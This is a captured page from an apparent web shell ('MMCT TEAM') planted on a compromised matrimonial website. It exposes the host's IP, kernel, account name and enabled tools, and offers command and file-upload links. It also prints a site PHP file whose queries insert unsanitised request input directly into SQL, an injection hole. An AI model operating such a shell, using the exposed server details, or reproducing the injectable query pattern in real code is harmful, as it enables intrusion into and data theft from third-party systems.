MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.135.204.43
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/vivahmilankendra.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/vivahmilankendra.com/search-fill-community.php
<?php 
require_once("includes/dbsmain.inc.php");

$sql="SELECT * FROM  tbl_registration WHERE reg_id='$_SESSION[regID]'";
$dataRegd=db_query($sql);
$recData=mysqli_fetch_array($dataRegd);


$religion=$_REQUEST['religion'];

if(!empty($religion)){

$rID=db_scalar("SELECT c_id FROM tbl_community WHERE c_title='$religion'");	

if(!empty($rID)){

$sql="SELECT * FROM tbl_community WHERE c_parent_id='$rID' AND c_status='Active'";
$data=db_query($sql);
$count=mysqli_num_rows($data);
if($count){
?>

<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12">Cast</div>
<div class="col-lg-9 col-md-9 col-sm-12 col-xs-12">

<select class="dsbo-fom-1" name="search_cast" id="search_cast">
<?php while($rec=mysqli_fetch_array($data)){?>
<option  value="<?=$rec['c_title']?>"><?=$rec['c_title']?></option>      
<?php }?>
</select>
<?php }?>   
      
</div>


<?php	
}}
?>

MMCT - 2023